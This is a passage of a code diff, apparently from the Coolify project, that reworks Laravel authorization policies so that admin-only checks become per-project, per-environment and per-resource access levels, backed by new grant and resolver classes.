b/app/Policies/ApiTokenPolicy.php @@ -2,7 +2,9 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\User; +use App\Services\Access\AccessResolver; use Laravel\Sanctum\PersonalAccessToken; class ApiTokenPolicy @@ -60,7 +62,7 @@ class ApiTokenPolicy */ public function useRootPermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Root); } /** @@ -68,7 +70,7 @@ class ApiTokenPolicy */ public function useWritePermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Write); } /** @@ -76,7 +78,7 @@ class ApiTokenPolicy */ public function useDeployPermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Deploy); } /** @@ -84,7 +86,37 @@ class ApiTokenPolicy */ public function useSensitivePermissions(User $user): bool { - return $user->isAdmin() || $user->isOwner(); + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::ReadSensitive); + } + + /** + * Determine whether the user can use delete permissions for API tokens. + */ + public function useDeletePermissions(User $user): bool + { + return $user->isAdmin() || $user->isOwner() || $this->holdsSomewhere($user, AccessLevel::Delete); + } + + /** + * True when a grant of the member in the current team gives the level somewhere. + * Creating the token still checks that the member holds it on every chosen scope. + */ + private function holdsSomewhere(User $user, AccessLevel $level): bool + { + $teamId = $user->currentTeam()?->id; + if ($teamId === null) { + return false; + } + + foreach (app(AccessResolver::class)->memberGrants($user, $teamId) ?? [] as $grant) { + foreach ($grant->levels as $granted) { + if (in_array($level, $granted->includes(), true)) { + return true; + } + } + } + + return false; } private function belongsToUserAndCurrentTeam(User $user, PersonalAccessToken $token): bool diff --git a/app/Policies/ApplicationPolicy.php b/app/Policies/ApplicationPolicy.php index 3dca4cdf7e..de2c732a3f 100644 --- a/app/Policies/ApplicationPolicy.php +++ b/app/Policies/ApplicationPolicy.php @@ -2,7 +2,9 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Application; +use App\Models\Environment; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -21,17 +23,15 @@ class ApplicationPolicy */ public function view(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $application); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -39,13 +39,7 @@ class ApplicationPolicy */ public function update(User $user, Application $application): Response { - $teamId = $this->getTeamId($application); - - if ($teamId === null) { - return Response::deny('Application team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($user->canAccess(AccessLevel::Write, $application)) { return Response::allow(); } @@ -57,9 +51,7 @@ class ApplicationPolicy */ public function delete(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $application); } /** @@ -83,13 +75,7 @@ class ApplicationPolicy */ public function uploadBackup(User $user, Application $application): Response { - $teamId = $this->getTeamId($application); - - if ($teamId === null) { - return Response::deny('Application team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($user->canAccess(AccessLevel::Write, $application)) { return Response::allow(); } @@ -97,13 +83,19 @@ class ApplicationPolicy } /** - * Determine whether the user can deploy the application. + * Determine whether the user can deploy, restart, or stop the application. */ public function deploy(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); + return $user->canAccess(AccessLevel::Deploy, $application); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, Application $application): bool + { + return $user->canAccess(AccessLevel::ReadSensitive, $application); } /** @@ -111,13 +103,6 @@ class ApplicationPolicy */ public function manageEnvironment(User $user, Application $application): bool { - $teamId = $this->getTeamId($application); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - - private function getTeamId(Application $application): ?int - { - return $application->team()?->id; + return $user->canAccess(AccessLevel::Write, $application); } } diff --git a/app/Policies/ApplicationPreviewPolicy.php b/app/Policies/ApplicationPreviewPolicy.php index 6e1b597249..8f203b2212 100644 --- a/app/Policies/ApplicationPreviewPolicy.php +++ b/app/Policies/ApplicationPreviewPolicy.php @@ -2,6 +2,7 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ApplicationPreview; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -21,9 +22,7 @@ class ApplicationPreviewPolicy */ public function view(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $this->allows($user, AccessLevel::Read, $applicationPreview); } /** @@ -39,13 +38,7 @@ class ApplicationPreviewPolicy */ public function update(User $user, ApplicationPreview $applicationPreview): Response { - $teamId = $this->getTeamId($applicationPreview); - - if ($teamId === null) { - return Response::deny('Application preview team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $applicationPreview)) { return Response::allow(); } @@ -57,9 +50,7 @@ class ApplicationPreviewPolicy */ public function delete(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $applicationPreview); } /** @@ -83,13 +74,13 @@ class ApplicationPreviewPolicy */ public function deploy(User $user, ApplicationPreview $applicationPreview): bool { - $teamId = $this->getTeamId($applicationPreview); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Deploy, $applicationPreview); } - private function getTeamId(ApplicationPreview $applicationPreview): ?int + private function allows(User $user, AccessLevel $level, ApplicationPreview $applicationPreview): bool { - return $applicationPreview->application?->team()?->id; + $application = $applicationPreview->application; + + return $application !== null && $user->canAccess($level, $application); } } diff --git a/app/Policies/ApplicationSettingPolicy.php b/app/Policies/ApplicationSettingPolicy.php index be2137cb85..c37c84fd38 100644 --- a/app/Policies/ApplicationSettingPolicy.php +++ b/app/Policies/ApplicationSettingPolicy.php @@ -2,6 +2,7 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ApplicationSetting; use App\Models\User; @@ -20,9 +21,7 @@ class ApplicationSettingPolicy */ public function view(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $this->allows($user, AccessLevel::Read, $applicationSetting); } /** @@ -38,9 +37,7 @@ class ApplicationSettingPolicy */ public function update(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $applicationSetting); } /** @@ -48,9 +45,7 @@ class ApplicationSettingPolicy */ public function delete(User $user, ApplicationSetting $applicationSetting): bool { - $teamId = $this->getTeamId($applicationSetting); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $applicationSetting); } /** @@ -69,8 +64,10 @@ class ApplicationSettingPolicy return false; } - private function getTeamId(ApplicationSetting $applicationSetting): ?int + private function allows(User $user, AccessLevel $level, ApplicationSetting $applicationSetting): bool { - return $applicationSetting->application?->team()?->id; + $application = $applicationSetting->application; + + return $application !== null && $user->canAccess($level, $application); } } diff --git a/app/Policies/DatabasePolicy.php b/app/Policies/DatabasePolicy.php index 4217432b50..cbc94aa855 100644 --- a/app/Policies/DatabasePolicy.php +++ b/app/Policies/DatabasePolicy.php @@ -2,6 +2,8 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\User; use Illuminate\Auth\Access\Response; @@ -20,17 +22,19 @@ class DatabasePolicy */ public function view(User $user, $database): bool { - $teamId = $this->getTeamId($database); + if ($this->isInstanceDatabase($database)) { + return $user->teams->contains('id', 0); + } - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $database); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -38,13 +42,7 @@ class DatabasePolicy */ public function update(User $user, $database): Response { - $teamId = $this->getTeamId($database); - - if ($teamId === null) { - return Response::deny('Database team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $database)) { return Response::allow(); } @@ -56,9 +54,7 @@ class DatabasePolicy */ public function delete(User $user, $database): bool { - $teamId = $this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Delete, $database); } /** @@ -78,13 +74,12 @@ class DatabasePolicy } /** - * Determine whether the user can start/stop the database. + * Determine whether the user can start, stop, restart, and flush the database. + * Needs write access because flushing deletes the data. */ public function manage(User $user, $database): bool { - $teamId = $this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $database); } /** @@ -92,13 +87,7 @@ class DatabasePolicy */ public function uploadBackup(User $user, $database): Response { - $teamId = $this->getTeamId($database); - - if ($teamId === null) { - return Response::deny('Database team not found.'); - } - - if ($user->isAdminOfTeam($teamId)) { + if ($this->allows($user, AccessLevel::Write, $database)) { return Response::allow(); } @@ -110,9 +99,15 @@ class DatabasePolicy */ public function manageBackups(User $user, $database): bool { - $teamId = $this->getTeamId($database); + return $this->allows($user, AccessLevel::Write, $database); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, $database): bool + { + return $this->allows($user, AccessLevel::ReadSensitive, $database); } /** @@ -120,22 +115,23 @@ class DatabasePolicy */ public function manageEnvironment(User $user, $database): bool { - $teamId = $this->getTeamId($database); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allows($user, AccessLevel::Write, $database); } - private function getTeamId($database): ?int + /** + * The instance database (coolify-db) belongs to the root team; only its owners and admins can change it. + */ + private function allows(User $user, AccessLevel $level, $database): bool { - // Instance-level databases (e.g., coolify-db) belong to root team - if (isset($database->id) && $database->id === 0) { - return 0; + if ($this->isInstanceDatabase($database)) { + return $user->isAdminOfTeam(0); } - if (method_exists($database, 'team')) { - return $database->team()?->id; - } + return $user->canAccess($level, $database); + } - return null; + private function isInstanceDatabase($database): bool + { + return isset($database->id) && $database->id === 0; } } diff --git a/app/Policies/EnvironmentPolicy.php b/app/Policies/EnvironmentPolicy.php index e400ec9037..1bfd47f8d2 100644 --- a/app/Policies/EnvironmentPolicy.php +++ b/app/Policies/EnvironmentPolicy.php @@ -2,8 +2,11 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Environment; +use App\Models\Project; use App\Models\User; +use App\Services\Access\AccessResolver; class EnvironmentPolicy { @@ -20,17 +23,17 @@ class EnvironmentPolicy */ public function view(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return app(AccessResolver::class)->canOpen($user, $environment); } /** - * Determine whether the user can create models. + * Determine whether the user can create environments, in the project when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Project $project = null): bool { - return $user->isAdmin(); + return $project === null + ? app(ProjectPolicy::class)->create($user) + : $user->canAccess(AccessLevel::Write, $project); } /** @@ -38,9 +41,7 @@ class EnvironmentPolicy */ public function update(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $environment); } /** @@ -48,9 +49,7 @@ class EnvironmentPolicy */ public function delete(User $user, Environment $environment): bool { - $teamId = $this->getTeamId($environment); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $environment); } /** @@ -68,9 +67,4 @@ class EnvironmentPolicy { return false; } - - private function getTeamId(Environment $environment): ?int - { - return $environment->project?->team_id; - } } diff --git a/app/Policies/EnvironmentVariablePolicy.php b/app/Policies/EnvironmentVariablePolicy.php index dd0f58918e..f2da0356dc 100644 --- a/app/Policies/EnvironmentVariablePolicy.php +++ b/app/Policies/EnvironmentVariablePolicy.php @@ -4,7 +4,12 @@ namespace App\Policies; use App\Models\EnvironmentVariable; use App\Models\User; +use Illuminate\Support\Facades\Gate; +/** + * An environment variable is part of its resource's configuration: listing it needs view on the resource, + * reading its value needs viewSensitive, and every change needs manageEnvironment (write access). + */ class EnvironmentVariablePolicy { /** @@ -20,9 +25,15 @@ class EnvironmentVariablePolicy */ public function view(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); + return $this->allowsOnResource($user, 'view', $environmentVariable); + } - return $teamId !== null && $user->teams->contains('id', $teamId); + /** + * Determine whether the user can read the value. + */ + public function viewSensitive(User $user, EnvironmentVariable $environmentVariable): bool + { + return $this->allowsOnResource($user, 'viewSensitive', $environmentVariable); } /** @@ -38,9 +49,7 @@ class EnvironmentVariablePolicy */ public function update(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } /** @@ -48,9 +57,7 @@ class EnvironmentVariablePolicy */ public function delete(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } /** @@ -74,19 +81,13 @@ class EnvironmentVariablePolicy */ public function manageEnvironment(User $user, EnvironmentVariable $environmentVariable): bool { - $teamId = $this->getTeamId($environmentVariable); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $this->allowsOnResource($user, 'manageEnvironment', $environmentVariable); } - private function getTeamId(EnvironmentVariable $environmentVariable): ?int + private function allowsOnResource(User $user, string $ability, EnvironmentVariable $environmentVariable): bool { $resource = $environmentVariable->resourceable; - if (! $resource || ! method_exists($resource, 'team')) { - return null; - } - - return $resource->team()?->id; + return $resource !== null && Gate::forUser($user)->allows($ability, $resource); } } diff --git a/app/Policies/ProjectPolicy.php b/app/Policies/ProjectPolicy.php index 9d65b9130d..687c5e167b 100644 --- a/app/Policies/ProjectPolicy.php +++ b/app/Policies/ProjectPolicy.php @@ -2,8 +2,10 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\Project; use App\Models\User; +use App\Services\Access\AccessResolver; class ProjectPolicy { @@ -20,15 +22,17 @@ class ProjectPolicy */ public function view(User $user, Project $project): bool { - return $user->teams->contains('id', $project->team_id); + return app(AccessResolver::class)->canOpen($user, $project); } /** - * Determine whether the user can create models. + * Determine whether the user can create projects in the current team. */ public function create(User $user): bool { - return $user->isAdmin(); + $teamId = $user->currentTeam()?->id; + + return $teamId !== null && app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Write, $teamId); } /** @@ -36,7 +40,7 @@ class ProjectPolicy */ public function update(User $user, Project $project): bool { - return $user->isAdminOfTeam($project->team_id); + return $user->canAccess(AccessLevel::Write, $project); } /** @@ -44,7 +48,7 @@ class ProjectPolicy */ public function delete(User $user, Project $project): bool { - return $user->isAdminOfTeam($project->team_id); + return $user->canAccess(AccessLevel::Delete, $project); } /** diff --git a/app/Policies/ResourceCreatePolicy.php b/app/Policies/ResourceCreatePolicy.php index ee2876d956..7ad6d48bf6 100644 --- a/app/Policies/ResourceCreatePolicy.php +++ b/app/Policies/ResourceCreatePolicy.php @@ -2,15 +2,25 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\User; +use App\Services\Access\AccessResolver; class ResourceCreatePolicy { /** - * Determine whether the user can create any resource. + * Determine whether the user can create resources in the environment. + * Without an environment, the user needs write access on the whole current team. */ - public function createAny(User $user): bool + public function createAny(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + if ($environment !== null) { + return $user->canAccess(AccessLevel::Write, $environment); + } + + $teamId = $user->currentTeam()?->id; + + return $teamId !== null && app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Write, $teamId); } } diff --git a/app/Policies/ScheduledTaskPolicy.php b/app/Policies/ScheduledTaskPolicy.php index fac7e7b228..fd4fbe7e21 100644 --- a/app/Policies/ScheduledTaskPolicy.php +++ b/app/Policies/ScheduledTaskPolicy.php @@ -2,10 +2,17 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\ScheduledTask; use App\Models\User; +use App\Services\Access\AccessResolver; use Illuminate\Auth\Access\Response; +use Illuminate\Support\Facades\Gate; +/** + * A scheduled task is part of its application's or service's configuration: reading it needs view on that + * resource, every change needs update (write access) on it. A task without a visible parent needs team-wide access. + */ class ScheduledTaskPolicy { /** @@ -21,7 +28,12 @@ class ScheduledTaskPolicy */ public function view(User $user, ScheduledTask $scheduledTask): bool { - return $user->teams->contains('id', $scheduledTask->team_id); + $resource = $this->resource($scheduledTask); + if ($resource === null) { + return app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Read, $scheduledTask->team_id); + } + + return Gate::forUser($user)->allows('view', $resource); } /** @@ -37,7 +49,7 @@ class ScheduledTaskPolicy */ public function update(User $user, ScheduledTask $scheduledTask): Response { - if (! $user->isAdminOfTeam($scheduledTask->team_id)) { + if (! $this->canChange($user, $scheduledTask)) { return Response::deny('You need at least admin or owner permissions to update this scheduled task.'); } @@ -49,7 +61,7 @@ class ScheduledTaskPolicy */ public function delete(User $user, ScheduledTask $scheduledTask): bool { - return $user->isAdminOfTeam($scheduledTask->team_id); + return $this->canChange($user, $scheduledTask); } /** @@ -67,4 +79,19 @@ class ScheduledTaskPolicy { return false; } + + private function canChange(User $user, ScheduledTask $scheduledTask): bool + { + $resource = $this->resource($scheduledTask); + if ($resource === null) { + return $user->isAdminOfTeam($scheduledTask->team_id); + } + + return Gate::forUser($user)->allows('update', $resource); + } + + private function resource(ScheduledTask $scheduledTask): ?object + { + return $scheduledTask->application ?? $scheduledTask->service; + } } diff --git a/app/Policies/ServicePolicy.php b/app/Policies/ServicePolicy.php index 272ea1e930..2ab4f09ca5 100644 --- a/app/Policies/ServicePolicy.php +++ b/app/Policies/ServicePolicy.php @@ -2,6 +2,8 @@ namespace App\Policies; +use App\Enums\AccessLevel; +use App\Models\Environment; use App\Models\Service; use App\Models\User; @@ -20,17 +22,15 @@ class ServicePolicy */ public function view(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->teams->contains('id', $teamId); + return $user->canAccess(AccessLevel::Read, $service); } /** - * Determine whether the user can create models. + * Determine whether the user can create models, in the environment when one is given. */ - public function create(User $user): bool + public function create(User $user, ?Environment $environment = null): bool { - return $user->isAdmin(); + return app(ResourceCreatePolicy::class)->createAny($user, $environment); } /** @@ -38,9 +38,7 @@ class ServicePolicy */ public function update(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -48,9 +46,7 @@ class ServicePolicy */ public function delete(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Delete, $service); } /** @@ -74,9 +70,15 @@ class ServicePolicy */ public function stop(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); + return $user->canAccess(AccessLevel::Deploy, $service); + } - return $teamId !== null && $user->isAdminOfTeam($teamId); + /** + * Determine whether the user can read secret values, such as environment variable values. + */ + public function viewSensitive(User $user, Service $service): bool + { + return $user->canAccess(AccessLevel::ReadSensitive, $service); } /** @@ -84,9 +86,7 @@ class ServicePolicy */ public function manageEnvironment(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -94,9 +94,7 @@ class ServicePolicy */ public function uploadBackup(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); + return $user->canAccess(AccessLevel::Write, $service); } /** @@ -104,13 +102,6 @@ class ServicePolicy */ public function deploy(User $user, Service $service): bool { - $teamId = $this->getTeamId($service); - - return $teamId !== null && $user->isAdminOfTeam($teamId); - } - - private function getTeamId(Service $service): ?int - { - return $service->team()?->id; + return $user->canAccess(AccessLevel::Deploy, $service); } } diff --git a/app/Policies/SharedEnvironmentVariablePolicy.php b/app/Policies/SharedEnvironmentVariablePolicy.php index 21b6acb27b..08e9ba70f4 100644 --- a/app/Policies/SharedEnvironmentVariablePolicy.php +++ b/app/Policies/SharedEnvironmentVariablePolicy.php @@ -2,9 +2,15 @@ namespace App\Policies; +use App\Enums\AccessLevel; use App\Models\SharedEnvironmentVariable; use App\Models\User; +use App\Services\Access\AccessResolver; +/** + * Team and server variables need team-wide access (owners and admins to change them). + * Project and environment variables follow the access level on their project or environment. + */ class SharedEnvironmentVariablePolicy { /** @@ -20,7 +26,15 @@ class SharedEnvironmentVariablePolicy */ public function view(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->teams->contains('id', $sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Read, $sharedEnvironmentVariable); + } + + /** + * Determine whether the user can read the value. + */ + public function viewSensitive(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool + { + return $this->allows($user, AccessLevel::ReadSensitive, $sharedEnvironmentVariable); } /** @@ -36,7 +50,7 @@ class SharedEnvironmentVariablePolicy */ public function update(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); } /** @@ -44,7 +58,7 @@ class SharedEnvironmentVariablePolicy */ public function delete(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); } /** @@ -68,6 +82,21 @@ class SharedEnvironmentVariablePolicy */ public function manageEnvironment(User $user, SharedEnvironmentVariable $sharedEnvironmentVariable): bool { - return $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); + return $this->allows($user, AccessLevel::Write, $sharedEnvironmentVariable); + } + + private function allows(User $user, AccessLevel $level, SharedEnvironmentVariable $sharedEnvironmentVariable): bool + { + if (in_array($sharedEnvironmentVariable->type, ['project', 'environment'], true)) { + $target = $sharedEnvironmentVariable->type === 'project' + ? $sharedEnvironmentVariable->project + : $sharedEnvironmentVariable->environment; + + return $target !== null && $user->canAccess($level, $target); + } + + return $level === AccessLevel::Read + ? app(AccessResolver::class)->allowsTeamWide($user, AccessLevel::Read, $sharedEnvironmentVariable->team_id) + : $user->isAdminOfTeam($sharedEnvironmentVariable->team_id); } } diff --git a/app/Providers/AppServiceProvider.php b/app/Providers/AppServiceProvider.php index 674cf95914..510ffe3b7b 100644 --- a/app/Providers/AppServiceProvider.php +++ b/app/Providers/AppServiceProvider.php @@ -8,6 +8,7 @@ use App\Auth\Oidc\Socialite\OidcProvider; use App\Models\PersonalAccessToken; use App\Models\Server; use App\Rules\SafeExternalUrl; +use App\Services\Access\AccessResolver; use App\Support\AtomicFilesystem; use App\Support\RetryHttpConnectionFailures; use Illuminate\Database\Eloquent\Model; @@ -31,6 +32,7 @@ class AppServiceProvider extends ServiceProvider { public function register(): void { + $this->app->scoped(AccessResolver::class); $this->app->bind(StripeClient::class, fn () => new StripeClient(config('subscription.stripe_api_key'))); // Requests must never read a partly written cache file. See AtomicFilesystem. diff --git a/app/Services/Access/AccessGrants.php b/app/Services/Access/AccessGrants.php new file mode 100644 index 0000000000..73b8d23b5f --- /dev/null +++ b/app/Services/Access/AccessGrants.php @@ -0,0 +1,124 @@ + $teamLevels expanded levels of team-wide grants + * @param array> $projectLevels project ID => expanded levels + * @param array> $environmentLevels environment ID => expanded levels + * @param array> $resourceLevels resource UUID => expanded levels + * @param array $environmentProjects environment ID => project ID, for granted environments and parents of granted resources + * @param array $resourceEnvironments resource UUID => environment ID + * @param list $projectEnvironmentIds environments inside granted projects + */ + public function __construct( + private readonly array $teamLevels, + private readonly array $projectLevels, + private readonly array $environmentLevels, + private readonly array $resourceLevels, + private readonly array $environmentProjects, + private readonly array $resourceEnvironments, + private readonly array $projectEnvironmentIds, + ) {} + + public static function unrestricted(): self + { + return new self(self::expand([AccessLevel::Root]), [], [], [], [], [], []); + } + + /** + * @param list $levels + * @return array + */ + public static function expand(array $levels): array + { + $expanded = []; + foreach ($levels as $level) { + foreach ($level->includes() as $included) { + $expanded[$included->value] = true; + } + } + + return $expanded; + } + + /** + * True when a team-wide grant exists, so every project in the team is visible. + */ + public function coversWholeTeam(): bool + { + return $this->teamLevels !== []; + } + + public function allows(AccessLevel $level, ?int $projectId = null, ?int $environmentId = null, ?string $resourceUuid = null): bool + { + if (isset($this->teamLevels[$level->value])) { + return true; + } + if ($projectId !== null && isset($this->projectLevels[$projectId][$level->value])) { + return true; + } + if ($environmentId !== null && isset($this->environmentLevels[$environmentId][$level->value])) { + return true; + } + + return $resourceUuid !== null && isset($this->resourceLevels[$resourceUuid][$level->value]); + } + + /** + * Projects the actor can open: granted projects and parents of granted environments and resources. + * + * @return list + */ + public function visibleProjectIds(): array + { + return array_values(array_unique([ + ...array_keys($this->projectLevels), + ...array_values($this->environmentProjects), + ])); + } + + /** + * Environments the actor can open, including parents of granted resources. + * + * @return list + */ + public function visibleEnvironmentIds(): array + { + return array_values(array_unique([ + ...$this->fullEnvironmentIds(), + ...array_values($this->resourceEnvironments), + ])); + } + + /** + * Environments where every resource is visible (granted directly or through the project). + * + * @return list + */ + public function fullEnvironmentIds(): array + { + return array_values(array_unique([ + ...array_keys($this->environmentLevels), + ...$this->projectEnvironmentIds, + ])); + } + + /** + * @return list + */ + public function resourceUuids(): array + { + return array_map('strval', array_keys($this->resourceLevels)); + } +} diff --git a/app/Services/Access/AccessResolver.php b/app/Services/Access/AccessResolver.php new file mode 100644 index 0000000000..19fa8ecb4e --- /dev/null +++ b/app/Services/Access/AccessResolver.php @@ -0,0 +1,468 @@ +> + */ + public const RESOURCE_MODELS = [ + Application::class, + Service::class, + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + StandaloneSqlite::class, + ]; + + /** @var array */ + private array $layers = []; + + private bool $resolving = false; + + private int $unscopedDepth = 0; + + public function isResolving(): bool + { + return $this->resolving || $this->unscopedDepth > 0; + } + + /** + * Run the callback with VisibleThroughAccessGrants turned off, also for nested relations. + * Only for checks that must see every row in the team, such as domain and port conflicts. + * + * @template T + * + * @param Closure(): T $callback + * @return T + */ + public function withoutVisibilityScope(Closure $callback): mixed + { + $this->unscopedDepth++; + try { + return $callback(); + } finally { + $this->unscopedDepth--; + } + } + + public function flush(): void + { + $this->layers = []; + } + + /** + * The levels a member without stored grants has. + * + * @return list + */ + public static function defaultMemberGrants(): array + { + return [Grant::team([AccessLevel::Read])]; + } + + /** + * @return list|null null when the token is not limited to scopes + */ + public static function tokenGrants(PersonalAccessToken $token): ?array + { + $scopes = $token->scopes; + if ($scopes === null) { + return null; + } + + $levels = AccessLevel::parseMany($token->abilities ?? []); + + return array_map( + fn (Grant $scope) => new Grant($scope->scope, $scope->uuid, $levels), + Grant::listFrom($scopes), + ); + } + + /** + * @return list|null null for owners and admins, who have no limits in the team + */ + public function memberGrants(User $user, int $teamId): ?array + { + $membership = $this->membership($user, $teamId); + if ($membership === null) { + return []; + } + + $role = $membership->role ?? null; + if ($role === 'admin' || $role === 'owner') { + return null; + } + + $stored = $membership->access ?? null; + + return $stored === null ? self::defaultMemberGrants() : Grant::listFrom($stored); + } + + private function isMember(User $user, int $teamId): bool + { + return $this->membership($user, $teamId) !== null; + } + + /** + * The `team_user` row of the user. It uses the loaded `teams` relation, the same data `isAdminOfTeam()` + * reads, but it never loads that relation itself: list queries call this early in a request, and a + * relation cached then would hide a role change made later in the same request. + */ + private function membership(User $user, int $teamId): ?object + { + if ($user->relationLoaded('teams')) { + return $user->teams->firstWhere('id', $teamId)?->pivot; + } + + return $user->teams()->where('teams.id', $teamId)->first()?->pivot; + } + + public function allows(User $user, AccessLevel $level, Model $target): bool + { + $location = $this->locate($target); + if ($location === null) { + return false; + } + + [$teamId, $projectId, $environmentId, $resourceUuid] = $location; + + foreach ($this->layersFor($user, $teamId) as $layer) { + if (! $layer->allows($level, $projectId, $environmentId, $resourceUuid)) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user can open a project or environment: it is granted, or it contains a granted + * environment or resource. Opening shows only the children the user can see. + */ + public function canOpen(User $user, Project|Environment $target): bool + { + $location = $this->locate($target); + if ($location === null) { + return false; + } + + [$teamId, $projectId, $environmentId] = $location; + + foreach ($this->layersFor($user, $teamId) as $layer) { + $visible = $target instanceof Project + ? in_array($projectId, $layer->visibleProjectIds(), true) + : in_array($environmentId, $layer->visibleEnvironmentIds(), true); + if (! $layer->coversWholeTeam() && ! $visible) { + return false; + } + } + + return $this->isMember($user, $teamId); + } + + /** + * True when the user (and the current token) can act on the whole team, not only on some projects. + */ + public function coversWholeTeam(User $user, int $teamId): bool + { + foreach 